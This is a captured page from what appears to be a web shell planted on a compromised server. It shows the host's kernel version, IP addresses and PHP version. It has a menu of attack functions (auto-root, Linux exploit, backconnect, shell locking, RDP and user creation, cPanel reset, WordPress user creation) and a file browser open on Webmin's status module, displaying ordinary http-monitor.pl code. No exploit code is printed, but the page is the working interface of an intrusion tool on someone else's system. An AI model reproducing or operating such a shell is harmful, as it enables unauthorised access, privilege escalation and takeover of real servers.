Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.161
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
status /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
services
[ DIR ]
drwxr-xr-x
CHANGELOG
6.42
KB
-rw-r--r--
WEBMIN-STATUS-MIB.txt
1.53
KB
-rw-r--r--
acl_security.pl
508
B
-rwxr-xr-x
alive-monitor.pl
241
B
-rwxr-xr-x
apache-monitor.pl
697
B
-rwxr-xr-x
backup_config.pl
801
B
-rwxr-xr-x
bind8-monitor.pl
710
B
-rwxr-xr-x
cfengine-monitor.pl
415
B
-rwxr-xr-x
cgi_args.pl
321
B
-rwxr-xr-x
change-monitor.pl
735
B
-rwxr-xr-x
config
182
B
-rw-r--r--
config-ALL-linux
210
B
-rw-r--r--
config-debian-linux
225
B
-rw-r--r--
config-debian-linux-3.0
216
B
-rw-r--r--
config-debian-linux-3.1-ALL
216
B
-rw-r--r--
config-freebsd
195
B
-rw-r--r--
config-hpux
182
B
-rw-r--r--
config-netbsd
182
B
-rw-r--r--
config-solaris
182
B
-rw-r--r--
config-syno-linux
197
B
-rw-r--r--
config.info
1.09
KB
-rw-r--r--
config.info.ca
1.31
KB
-rw-r--r--
config.info.cs
802
B
-rw-r--r--
config.info.de
1.28
KB
-rw-r--r--
config.info.es
659
B
-rw-r--r--
config.info.fa
994
B
-rw-r--r--
config.info.fr
1.42
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
0
B
-rw-r--r--
config.info.ja
1.04
KB
-rw-r--r--
config.info.ko
764
B
-rw-r--r--
config.info.nl
984
B
-rw-r--r--
config.info.no
962
B
-rw-r--r--
config.info.pl
1021
B
-rw-r--r--
config.info.ru
486
B
-rw-r--r--
config.info.sv
99
B
-rw-r--r--
config.info.tr
567
B
-rw-r--r--
config.info.uk
479
B
-rw-r--r--
config.info.zh
86
B
-rw-r--r--
config.info.zh_TW
229
B
-rw-r--r--
consume-monitor.pl
1.89
KB
-rwxr-xr-x
defaultacl
15
B
-rw-r--r--
delete_mons.cgi
1.03
KB
-rwxr-xr-x
delete_tmpls.cgi
712
B
-rwxr-xr-x
dhcpd-monitor.pl
616
B
-rwxr-xr-x
dns-monitor.pl
1.3
KB
-rwxr-xr-x
dnsadmin-monitor.pl
667
B
-rwxr-xr-x
dovecot-monitor.pl
302
B
-rwxr-xr-x
du-monitor.pl
790
B
-rw-r--r--
edit_mon.cgi
9.61
KB
-rwxr-xr-x
edit_sched.cgi
3.24
KB
-rwxr-xr-x
edit_tmpl.cgi
1.81
KB
-rwxr-xr-x
exec-monitor.pl
1.52
KB
-rwxr-xr-x
fail2ban-monitor.pl
516
B
-rwxr-xr-x
feedback_files.pl
175
B
-rwxr-xr-x
file-monitor.pl
3.35
KB
-rwxr-xr-x
ftp-monitor.pl
3.05
KB
-rwxr-xr-x
hostsentry-monitor.pl
521
B
-rwxr-xr-x
http-monitor.pl
4.13
KB
-rwxr-xr-x
iface-monitor.pl
908
B
-rwxr-xr-x
index.cgi
4.77
KB
-rwxr-xr-x
inetd-monitor.pl
399
B
-rwxr-xr-x
init-monitor.pl
576
B
-rw-r--r--
jabber-monitor.pl
667
B
-rwxr-xr-x
ldap-monitor.pl
1.51
KB
-rwxr-xr-x
list_tmpls.cgi
1.05
KB
-rwxr-xr-x
load-monitor.pl
1.1
KB
-rwxr-xr-x
log_parser.pl
673
B
-rwxr-xr-x
mailq-monitor.pl
1.3
KB
-rwxr-xr-x
memory-monitor.pl
1.55
KB
-rwxr-xr-x
module.info
168
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
128
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
167
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
198
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
247
B
-rw-r--r--
module.info.ca
118
B
-rw-r--r--
module.info.ca.auto
14
B
-rw-r--r--
module.info.cs
33
B
-rw-r--r--
module.info.cs.auto
105
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
120
B
-rw-r--r--
module.info.de
121
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
274
B
-rw-r--r--
module.info.es
40
B
-rw-r--r--
module.info.es.auto
95
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
132
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
185
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
134
B
-rw-r--r--
module.info.fr
42
B
-rw-r--r--
module.info.fr.auto
107
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
155
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
134
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.auto
99
B
-rw-r--r--
module.info.it
39
B
-rw-r--r--
module.info.it.auto
96
B
-rw-r--r--
module.info.ja
57
B
-rw-r--r--
module.info.ja.auto
130
B
-rw-r--r--
module.info.ko
36
B
-rw-r--r--
module.info.ko.auto
92
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
131
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
136
B
-rw-r--r--
module.info.ms
119
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
146
B
-rw-r--r--
module.info.nl
33
B
-rw-r--r--
module.info.nl.auto
97
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.auto
96
B
-rw-r--r--
module.info.pl
97
B
-rw-r--r--
module.info.pl.auto
15
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
133
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
142
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
153
B
-rw-r--r--
module.info.ru
56
B
-rw-r--r--
module.info.ru.auto
165
B
-rw-r--r--
module.info.sk
33
B
-rw-r--r--
module.info.sk.auto
106
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
135
B
-rw-r--r--
module.info.sv
33
B
-rw-r--r--
module.info.sv.auto
92
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
250
B
-rw-r--r--
module.info.tr
32
B
-rw-r--r--
module.info.tr.auto
105
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
208
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
174
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
182
B
-rw-r--r--
module.info.zh
36
B
-rw-r--r--
module.info.zh.auto
76
B
-rw-r--r--
module.info.zh_TW
40
B
-rw-r--r--
module.info.zh_TW.auto
82
B
-rw-r--r--
mon-monitor.pl
431
B
-rwxr-xr-x
monitor.pl
14.59
KB
-rwxr-xr-x
mysql-monitor.pl
450
B
-rwxr-xr-x
nfs-monitor.pl
394
B
-rwxr-xr-x
nut-monitor.pl
2.13
KB
-rwxr-xr-x
oldfile-monitor.pl
864
B
-rwxr-xr-x
ping-monitor.pl
6.84
KB
-rwxr-xr-x
portsentry-monitor.pl
535
B
-rwxr-xr-x
postfix-monitor.pl
509
B
-rwxr-xr-x
postgresql-monitor.pl
480
B
-rwxr-xr-x
prefs.info
58
B
-rw-r--r--
proc-monitor.pl
1.7
KB
-rwxr-xr-x
proftpd-monitor.pl
842
B
-rwxr-xr-x
qmailadmin-monitor.pl
424
B
-rwxr-xr-x
query-monitor.pl
2.89
KB
-rwxr-xr-x
raid-monitor.pl
1.66
KB
-rwxr-xr-x
refresh.cgi
550
B
-rwxr-xr-x
rssh-monitor.pl
2.63
KB
-rwxr-xr-x
safeacl
15
B
-rw-r--r--
samba-monitor.pl
453
B
-rwxr-xr-x
save_mon.cgi
3.23
KB
-rwxr-xr-x
save_sched.cgi
2.44
KB
-rwxr-xr-x
save_tmpl.cgi
1.25
KB
-rwxr-xr-x
sendmail-monitor.pl
682
B
-rwxr-xr-x
sensors-monitor.pl
3.9
KB
-rwxr-xr-x
slapd-monitor.pl
606
B
-rwxr-xr-x
space-monitor.pl
3.09
KB
-rwxr-xr-x
squid-monitor.pl
881
B
-rwxr-xr-x
sshd-monitor.pl
817
B
-rwxr-xr-x
sslcert-monitor.pl
4.11
KB
-rwxr-xr-x
status-lib.pl
17.62
KB
-rwxr-xr-x
status_monitor_api.pl
593
B
-rwxr-xr-x
system_info.pl
1.48
KB
-rw-r--r--
tcp-monitor.pl
1.23
KB
-rwxr-xr-x
traffic-monitor.pl
2.4
KB
-rwxr-xr-x
uninstall.pl
434
B
-rwxr-xr-x
usermin-monitor.pl
496
B
-rwxr-xr-x
webmin-monitor.pl
363
B
-rwxr-xr-x
xinetd-monitor.pl
491
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : http-monitor.pl
# http-monitor.pl # Monitor a remote HTTP server sub default_http_codes { return (200, 301, 302, 303, 307, 308); } sub get_http_status { local ($o) = @_; local $up = 0; local $st = time(); local $desc; eval { # Connect to the server local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required alarm($o->{'alarm'} ? $o->{'alarm'} : 10); local $re = $o->{'regexp'}; local $method = $o->{'method'} || "HEAD"; local $con = &make_http_connection( $o->{'ip'} || $o->{'host'}, $o->{'port'}, $o->{'ssl'}, $method, $o->{'page'}); if (!ref($con)) { $up = 0; $desc = $con; return; } &write_http_connection($con, "Host: $o->{'host'}\r\n"); &write_http_connection($con, "User-agent: Webmin\r\n"); if ($o->{'user'}) { local $auth = &encode_base64("$o->{'user'}:$o->{'pass'}"); $auth =~ s/\n//g; &write_http_connection($con, "Authorization: Basic $auth\r\n"); } &write_http_connection($con, "\r\n"); local $line = &read_http_connection($con); local @codes = $o->{'codes'} ? split(/\s+/, $o->{'codes'}) : &default_http_codes(); local $cre = join("|", @codes); if ($line =~ /^HTTP\/1\..\s+($cre)\s+/) { $up = 1; } else { $desc = "Bad HTTP status line : $line"; } if ($re && $up) { # Read the headers local %header; while(1) { $line = &read_http_connection($con); $line =~ tr/\r\n//d; $line =~ /^(\S+):\s+(.*)$/ || last; $header{lc($1)} = $2; } # Read the body local ($buf, $data); while(defined($buf = &read_http_connection($con))) { $data .= $buf; } eval { # Check for regexp match eval { if ($data !~ /$re/i) { $up = 0; $desc = "No match on : $re"; } }; }; } &close_http_connection($con); alarm(0); }; if ($@) { die unless $@ eq "alarm\n"; # propagate unexpected errors return { 'up' => 0, 'desc' => $desc }; } else { return { 'up' => $up, 'time' => time() - $st, 'desc' => $desc }; } } sub show_http_dialog { local ($o) = @_; local $url; if ($o->{'host'}) { $url = ($o->{'ssl'} ? "https" : "http")."://"; if (&check_ip6address($o->{'host'})) { $url .= "[".$o->{'host'}."]"; } else { $url .= $o->{'host'}; } $url .= ":$o->{'port'}$o->{'page'}"; } else { $url = "http://"; } print &ui_table_row($text{'http_url'}, &ui_textbox("url", $url, 50), 3); print &ui_table_row($text{'http_alarm'}, &ui_opt_textbox("alarm", $o->{'alarm'}, 5, $text{'default'}). " ".$text{'oldfile_secs'}); print &ui_table_row($text{'http_method'}, &ui_select("method", $o->{'method'}, [ [ "HEAD" ], [ "GET" ], [ "POST" ] ])); print &ui_table_row($text{'http_login'}, &ui_radio("user_def", $o->{'user'} ? 0 : 1, [ [ 1, $text{'http_none'} ], [ 0, $text{'http_user'}." ". &ui_textbox("huser", $o->{'user'}, 15)." ". $text{'http_pass'}." ". &ui_password("hpass", $o->{'pass'}, 15) ] ]), 3); print &ui_table_row($text{'http_regexp'}, &ui_opt_textbox("regexp", $o->{'regexp'}, 50, $text{'http_none2'}), 3); print &ui_table_row($text{'http_codes'}, &ui_opt_textbox("codes", $o->{'codes'}, 50, &text('http_codes_def', join(' ', &default_http_codes()))), 3); } sub parse_http_dialog { local ($o) = @_; local ($host, $port, $page, $ssl) = &parse_http_url($in{'url'}); if ($host) { $o->{'ssl'} = $ssl; $o->{'host'} = $host; $o->{'port'} = $port; $o->{'page'} = $page; } else { &error($text{'http_eurl'}); } if ($in{'alarm_def'}) { delete($o->{'alarm'}); } else { $in{'alarm'} =~ /^\d+$/ || &error($text{'http_ealarm'}); $o->{'alarm'} = $in{'alarm'}; } if ($in{'user_def'}) { delete($o->{'user'}); delete($o->{'pass'}); } else { $in{'huser'} || &error($text{'http_euser'}); $o->{'user'} = $in{'huser'}; $o->{'pass'} = $in{'hpass'}; } $o->{'method'} = $in{'method'}; if ($in{'regexp_def'}) { delete($o->{'regexp'}); } else { $in{'regexp'} || &error($text{'http_eregexp'}); $o->{'regexp'} = $in{'regexp'}; $in{'method'} eq 'HEAD' && &error($text{'http_ehead'}); } if ($in{'codes_def'}) { delete($o->{'codes'}); } else { my @codes = split(/\s+/, $in{'codes'}); @codes || &error($text{'http_ecodes'}); foreach my $c (@codes) { $c =~ /^[0-9]{3}$/ || &error($text{'http_ecodes3'}); } $o->{'codes'} = join(" ", @codes); } }
Close